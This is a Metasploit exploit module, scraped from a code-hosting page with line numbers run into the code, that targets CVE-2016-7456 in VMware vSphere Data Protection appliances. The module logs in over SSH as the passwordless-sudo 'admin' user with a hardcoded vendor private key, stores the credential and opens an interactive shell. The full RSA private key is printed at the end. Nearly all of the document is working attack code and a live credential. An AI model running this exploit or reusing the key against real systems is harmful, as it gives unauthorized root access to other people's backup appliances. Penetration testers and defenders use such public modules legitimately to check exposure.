Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::SSH12include Msf::Auxiliary::Report1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'VMware VDP Known SSH Key',20'Description' => %q{21VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.22},23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Privileged' => true,26'Targets' => [ [ 'Universal', {} ] ],27'Payload' => {28'Compat' => {29'PayloadType' => 'cmd_interact',30'ConnectionType' => 'find'31}32},33'Author' => ['phroxvs'],34'License' => MSF_LICENSE,35'References' => [36[ 'CVE', '2016-7456' ],37[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ],38],39'DisclosureDate' => '2016-12-20',40'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },41'DefaultTarget' => 0,42'Notes' => {43'Stability' => [CRASH_SAFE],44'Reliability' => [REPEATABLE_SESSION],45'SideEffects' => []46}47}48)49)5051register_options(52[53# Since we don't include Tcp, we have to register this manually54Opt::RHOST(),55Opt::RPORT(22)56], self.class57)5859register_advanced_options(60[61OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),62OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])63]64)65end6667# helper methods that normally come from Tcp68def rhost69datastore['RHOST']70end7172def rport73datastore['RPORT']74end7576def do_login77opt_hash = ssh_client_defaults.merge({78auth_methods: ['publickey'],79port: rport,80key_data: [ key_data ]81})82opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']83begin84ssh_socket = nil85::Timeout.timeout(datastore['SSH_TIMEOUT']) do86ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)87end88rescue Rex::ConnectionError89return90rescue Net::SSH::Disconnect, ::EOFError91print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"92return93rescue ::Timeout::Error94print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"95return96rescue Net::SSH::AuthenticationFailed97print_error "#{rhost}:#{rport} SSH - Failed authentication"98rescue Net::SSH::Exception => e99print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"100return101end102103if ssh_socket104105# Create a new session from the socket, then dump it.106conn = Net::SSH::CommandStream.new(ssh_socket)107sockets.delete(ssh_socket.transport.socket)108109return conn110else111return false112end113end114115def exploit116conn = do_login117if conn118print_good 'Successful login'119service_data = {120address: rhost,121port: rport,122protocol: 'tcp',123service_name: 'ssh',124workspace_id: myworkspace_id125}126credential_data = {127username: 'admin',128private_type: :ssh_key,129private_data: key_data,130origin_type: :service,131module_fullname: fullname132}.merge(service_data)133134core = create_credential(credential_data)135login_data = {136core: core,137last_attempted: Time.now138}.merge(service_data)139140create_credential_login(login_data)141handler(conn.lsock)142end143end144145def key_data146<<~EOF147-----BEGIN RSA PRIVATE KEY-----148MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X149/PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo161509jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB151gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3152Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR153Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT154Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO155c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR156c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W157LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3158xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ159gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr160Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4=161-----END RSA PRIVATE KEY-----162EOF163end164end165166167